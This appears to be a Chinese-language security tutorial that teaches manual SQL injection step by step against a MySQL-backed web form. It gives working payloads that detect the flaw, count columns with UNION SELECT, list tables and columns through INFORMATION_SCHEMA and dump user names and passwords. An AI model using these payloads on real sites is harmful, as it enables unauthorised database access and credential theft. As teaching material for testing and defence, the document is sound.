1. 输入目标网站网址,寻找注入点
在输入框中输入 '
单引号
返回了错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
通过错误显示,数据库发现了不正确的字符 “ ’ ” ,这种情况就表明很可能存在注入漏洞,同时还暴露了后台数据库是 MySQL。
2. 进一步通过 SQL语句进行查询
可以猜测该页面的后台 SQL 语句为:SELECT *** FROM *** WHERE id = '***'
由此我们可以构造一个 SQL 语句来获取所有的信息:SELECT *** FROM *** WHERE id = '***' or '1 = 1'
;
也可以构造为:SELECT *** FROM *** WHERE id = '***' or 1 = 1 -- '
注:--
是注释符号,在 --
后还有一个空格;用该注释符号可以把后面的 SQL 语句注释掉,就变成了 SELECT *** FROM *** WHERE id = '***' or 1 = 1
在输入框中输入:' or 1 = 1 --
得到了后台的数据。
3. 使用 UNION 语句查找更多的信息并显示。首先要注意:UNION 相连的 SELECT 字句列数必须相同,所以要首先获知列数
①在输入框中输入:' union SELECT 1 --
构造出的 SQL 语句可表示为:SELECT *** FROM *** WHERE id='' UNION SELECT 1
返回错误信息:The used SELECT statements have a different number of columns
可以得知,SELECT 子句的列数不为 1,继续探测。
②在输入框中输入 ' union SELECT 1, 2 --
构造出的 SQL 语句为:SELECT *** FROM *** WHERE id='' UNION SELECT 1, 2
得到页面输出:
可得 SELECT 子句的列数为 2
3. 对数据表的列数猜解正确后,可以使用 UNION 查询数据库中含有哪些数据表
在输入框中输入:' union SELECT 1, table_name FROM INFORMATION_SCHEMA.tables --
构造出的 SQL 语句可表示为:SELECT *** FROM *** WHERE id = '' UNION SELECT 1, table_name FROM INFORMATION_SCHEMA.tables
用该语句可以查询到系统数据库 INFORMATION_SCHEMA 中的数据表 tables 的 table_name 字段的值。即获取到了数据库中所有数据表名。
4. 在显示出的所有数据表中的最后面,可以找到 users 表,可以查询该表的字段名
在输入框中输入:' union SELECT 1, column_name FROM INFORMATION_SCHEMA.columns WHERE table_name = 'users' --
构造出的 SQL 语句可表示为:SELECT *** FROM *** WHERE id='' UNION SELECT 1, column_name FROM INFORMATION_SCHEMA.columns WHERE table_name = 'users'
得到结果:
可以得到 users 表的所有字段名,可以发现,其中有 password 字段较为机密。
6. 获取 users 表的 password 字段的值
在输入框中输入:' union SELECT user, password FROM users --
构造出的 SQL 语句可表示为:SELECT *** FROM *** WHERE id='' UNION SELECT user, password FROM users
得到结果:
7. 可以使用 concat() 函数把所有信息都列出来
在输入框中输入:' union SELECT concat(first_name, ' ', last_name, ' ', user), password FROM users --
得到结果:
SQL 注入点判断
①最简单的 单引号 判断法:在参数后加上单引号 '。
如:http://abc/def.php?id=1'
如果页面返回错误,则存在 SQL注入。因为无论字符型还时数值型都会因为单引号个数不匹配而报错
②数值型判断
当输入的参数 x 为整型时,通常页面后台的 SQL 语句如下:SELECT * FROM *** WHERE id = x
这种类型可以使用 and 1 = 1
和 and 1 = 2
来判断
- URL地址中输入:
http://abc/def.php?id = x and 1 = 1
,页面依旧正常运行,继续下一步 - URL地址中输入:
http://abc/def.php?id = x and 1 = 2
,若页面运行错误,则说明存在 SQL 注入漏洞
因为当 URL 中为http://abc/def.php?id = x and 1 = 1
时,后台执行的 SQL 语句为:SELECT * FROM *** WHERE id = x and 1=1
,没有语法和逻辑错误,所以返回正常;
当 URL 中为http://abc/def.php?id = x and 1 = 2
时,后台执行的 SQL 语句为:SELECT * FROM *** WHERE id = x and 1 = 2
;
若存在 SQL注入漏洞,则会因为出现逻辑错误而报错。
③字符型判断
当输入的参数 x 为字符型时,通常页面后台的 SQL 语句如下:SELECT * FROM *** WHERE id = 'x'
,可以采用' and '1 = 1
和 ' and '1=2
来判断。
- URL地址中输入
http://abc/def.php?id='x' and '1=1'
,即原来是'x'
,现在变为'x' and '1=1'
。把原本 x 的两个单引号分开配对。若页面正常,则进行下一步 - URL地址中输入
http://abc/def.php?id='x' and '1=2'
,若页面运行错误,则说明存在 SQL注入漏洞。
服务端返回错误的形式
- 错误直接回显在页面上
- 错误隐藏在页面源代码中
- 检测到错误跳转到另一页面
- 返回HTTP错误代码500 或重定向302
- 显示一个通用的错误页面